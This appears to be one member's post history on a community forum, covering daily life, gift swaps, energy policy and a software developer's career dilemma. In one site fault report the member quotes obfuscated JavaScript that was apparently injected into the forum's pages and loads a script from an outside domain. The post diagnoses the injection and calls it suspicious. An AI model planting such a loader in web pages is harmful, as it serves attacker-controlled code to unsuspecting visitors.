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Posted on: Jan 6 2013, 06:48 PM


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That link isn't working for me, can you repost it?
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Posted on: Jan 3 2013, 07:43 PM


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Rose: My shower was fixed woooohoooooo hot water FTW.
Thorn: Everything else about my flat is still horrible
Rose: Looking forward to the weekend (weekend)
Rose: I ordered a new kindle and I am going to read so many books yes yes yes
Thorn: It's not here yet and its status is "Hub Trailer Via Sorter" and I do not know what this means
Rose: 1 week and 1 day until I get the INTERNET OMG
  Forum: Daily life · Post Preview: #375832 · Replies: 2859 · Views: 264,186

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Posted on: Dec 25 2012, 08:59 PM


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What they said!
  Forum: Daily life · Post Preview: #375822 · Replies: 4 · Views: 1,082

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Posted on: Dec 25 2012, 08:58 PM


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Awesome. Glad it actually arrived biggrin.gif
  Forum: Daily life · Post Preview: #375821 · Replies: 89 · Views: 14,592

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Posted on: Dec 23 2012, 09:33 PM


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I got a tardis mug! Thanks Ashbless!


(Haven't tried it yet as I'm too lazy to acquire a hot beverage)
  Forum: Daily life · Post Preview: #375814 · Replies: 89 · Views: 14,592

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Posted on: Dec 20 2012, 07:39 PM


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so whats the plan?
  Forum: Daily life · Post Preview: #375807 · Replies: 20 · Views: 4,072

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Posted on: Dec 13 2012, 08:53 PM


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Seeing some awesome presents here!

Hopefully mine's waiting for me when I get home on the 22nd, so don't be alarmed if you don't hear anything from me till then smile.gif
  Forum: Daily life · Post Preview: #375789 · Replies: 89 · Views: 14,592

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Posted on: Dec 9 2012, 10:28 PM


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You could switch places and do my job for me?

Failing that, I'll be available around 6.30/7...
  Forum: Daily life · Post Preview: #375777 · Replies: 20 · Views: 4,072

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Posted on: Nov 18 2012, 05:44 PM


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I'll be working in the day but could do drinks in the evening. I don't think I've seen any matazone people since last crawley sad.gif
  Forum: Daily life · Post Preview: #375651 · Replies: 20 · Views: 4,072

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Posted on: Nov 3 2012, 07:47 AM


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Ah. Well that's somewhat reassuring then.
  Forum: About the animations · Post Preview: #375590 · Replies: 10 · Views: 4,565

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Posted on: Nov 2 2012, 09:44 PM


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Lol. http://xkcd.com/810/

The animation was cool too smile.gif

Mata, what happened with those audiobook stories you did a while back? Was that a one off? Have you ever thought about doing something in podcast form?
  Forum: About the animations · Post Preview: #375586 · Replies: 10 · Views: 4,565

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Posted on: Nov 2 2012, 09:31 PM


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I'm in.

Name: Mat

Previous victims: Maybe Mata, Lolo, CheeseMoose? I think.

Likes:
awesomely designed useful things. like this:

ponies
star trek

Dislikes:
Things that take up space
Things that will anger my dentist

  Forum: Daily life · Post Preview: #375585 · Replies: 89 · Views: 14,592

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Posted on: Aug 19 2012, 10:36 PM


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I heard Mata is currently remaking all his animations in 3D...
  Forum: Daft · Post Preview: #375293 · Replies: 2560 · Views: 190,296

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Posted on: Apr 28 2012, 08:27 AM


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You need to import everything into the new format though, which is going to be difficult if there isn't already a built in tool for that.

You could just archive the current forum and start over, but everyone would need to create new accounts.
  Forum: Site fault reports · Post Preview: #375062 · Replies: 12 · Views: 4,410

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Posted on: Apr 24 2012, 05:46 PM


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Yeah getting difficulty right is hard. I do pyweek but haven't tried ludum dare before. 48 hours seems way too short sad.gif
  Forum: Media · Post Preview: #375053 · Replies: 4 · Views: 1,990

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Posted on: Apr 17 2012, 08:50 AM


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It's evaluating some obfuscated code.

Looks like it injects another script into the page.

CODE
<script type="text/javascript">
eval(
    function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}(
                '1.2(\'<0 3="4/5" 6="7://8.9.a/b/c/d.e"></0>\')',
        15,
        15,
        'script|document|write|type|text|javascript|src|http|gobuylocal|com|au|components|com_cnt|cnt|js'.split('|'), // this doesn't look good.
        0,
        {}
    )

)
</script>
  Forum: Site fault reports · Post Preview: #375025 · Replies: 12 · Views: 4,410

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Posted on: Apr 17 2012, 08:07 AM


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Yeah that sucks. I'd be up for a meet up in london though. How mini would it be? Can I bring friends?
  Forum: Daily life · Post Preview: #375024 · Replies: 9 · Views: 2,640

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Posted on: Mar 10 2012, 10:34 AM


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I think more money should be invested in science and technology in general but not focus on fusion specifically. Regardless of how much money you throw at it, it's not going to solve our immediate problems.

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When looking at all the forms of energy generation we have, we are screwed. They are either finite (fossil fuels) or produce far to little energy to do the job. Even Nuclear fission (the form of energy that produces the most energy that won't run out) falls way too short. We'd need to build a new power station every week for 25 years to produce 5TWs of that 30TWs.
You're conflating two things here though. Bringing the rest of the world up to america's level of energy usage, and then replacing all energy production with renewable sources. This is somewhat ambitious. On the scale of individual countries it's definitely possible to move over to mostly fission power if there is an economic reason for it (e.g. France).

Clearly the UK should place a tax on buying ringtones.
  Forum: The Issues Forum · Post Preview: #374901 · Replies: 6 · Views: 2,171

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Posted on: Jan 31 2012, 08:59 AM


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lol no, it's a scripting language. I did some C in uni but never done any embedded stuff before (except a little arduino program I made for fun).

I think I've decided to look elsewhere rather than go after the tech lead thing (which isn't certain anyway).
  Forum: Personal concerns · Post Preview: #374802 · Replies: 13 · Views: 3,316

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Posted on: Jan 30 2012, 07:52 PM


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So google picassa is the most useless picture sharing service ever, but apparently I at least succeeded in getting images from my phone onto the internet.

https://plus.google.com/u/0/photos/11066602...045660683529185
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Posted on: Jan 28 2012, 09:43 PM


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Tcl
  Forum: Personal concerns · Post Preview: #374795 · Replies: 13 · Views: 3,316

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Posted on: Jan 28 2012, 11:26 AM


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QUOTE (LoLo @ Jan 25 2012, 08:45 AM) *
Perhaps it just seems like a pain because the person currently doing it isn't equipped to handle the tasks at hand.

It's more like the tasks at hand aren't possible for one person to handle. This guy has 10 yrs more experience than me and is prepared to work insane amounts of overtime. I would face the same challenges we have now regardless.
  Forum: Personal concerns · Post Preview: #374793 · Replies: 13 · Views: 3,316

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Posted on: Jan 27 2012, 09:55 AM


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QUOTE (Lurker in the Park @ Jan 26 2012, 10:32 PM) *
Secondly, regarding what you know, look for the transferable stuff. So do you know about design patterns, the Gang of Four, MVC, working with frameworks, Object Oriented Programming? If not, get reading. If you do, then you're ahead of a lot of people. As far as I'm concerned a design pattern is something you get in a carpet and they still made me a senior.
I know about them, but none of them in feature in my current job at all. The language we use is a joke and no sane person would use it for the things we do. Even if there were frameworks available we wouldn't dream of using them when we could write our own inferior copy... dry.gif

I think you may be right about agile, and it gives me something useful to look for when researching companies. I'm more familiar with the "do everything as soon as possible without any planning" management style, which has its limitations...

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Considering how poor the job market is right now any extra experience is going to help when you do come to change job. You do need to make sure that you understand exactly what it entails, and ensure that the boundaries are well defined before you sign a contract so they don't try and throw a load of extra work on you and make out like it was part of it all along... especially if they are generally that disorganised to start with!
Is it normal to sign a new contract following a promotion? (I didn't last time). How do you negotiate these things?
  Forum: Personal concerns · Post Preview: #374792 · Replies: 13 · Views: 3,316

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Posted on: Jan 25 2012, 06:13 PM


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Thanks for the replies everyone. Still undecided but you raise some good points.
  Forum: Personal concerns · Post Preview: #374787 · Replies: 13 · Views: 3,316

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Posted on: Jan 24 2012, 09:08 PM


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Hi. I suck at making decisions and want some advice.

*edit* Whoops, this is a personal concern isn't it? Can a mod move it?

I've been in my current job (software development) for 2 years and don't know what to do next.

I mostly like my job, but I work with really awful code using really awful tools and the way products are managed within the company is terrible. There is one application in particular I'm responsible for that is a maintenance nightmare, and it's basically impossible to guarantee the kind of quality customers expect, due to how it's been developed in the past, and how the company continues to operate. This makes me sad.

Today I was told that if I was interested in becoming a technical lead, there may be room for me to take over managing this software. I basically said no, but that I would think about it. I said that the responsibilities of the role weren't very well defined, and my impression from what the current guy does is not good (lots of external pressure to get things done on unreasonable time scales, then dealing with the fallout when things inevitably break). The idea of leading a team doesn't bother me so much as all the BS from other teams/customers I'd have to deal with. So I don't really want to do it, but I can't tell if I'm really blowing things out of proportion because people stuff scares me. I feel like I'm just not assertive or patient enough to deal with that kind of thing and it would all go horribly wrong.

I've also been thinking about jumping ship entirely and finding something that's more interesting technically and has a more reasonable working environment. I want to work uninterrupted on a single project at a time, instead of juggling lots of little things. I like being involved in design decisions as well as programming, and I really like reviewing stuff and collaborating on things. What is my ideal job? Am I being too unrealistic?

How do I even look for a job that is worth applying to? I've looked at some job sites a bit but all the ads by agencies convey so little useful information about what the job involves. The whole idea of job hunting is so unpleasant that I've just been putting it off for ages. I'm comfortable in my current role but I don't see much opportunity to learn new things there. It's complicated by the fact that my current job doesn't offer much marketable technical experience, due to us using a stupid scripting language that nobody else uses, so if I went for some generic Java job I would fail all the stupid checklist items they ask for.
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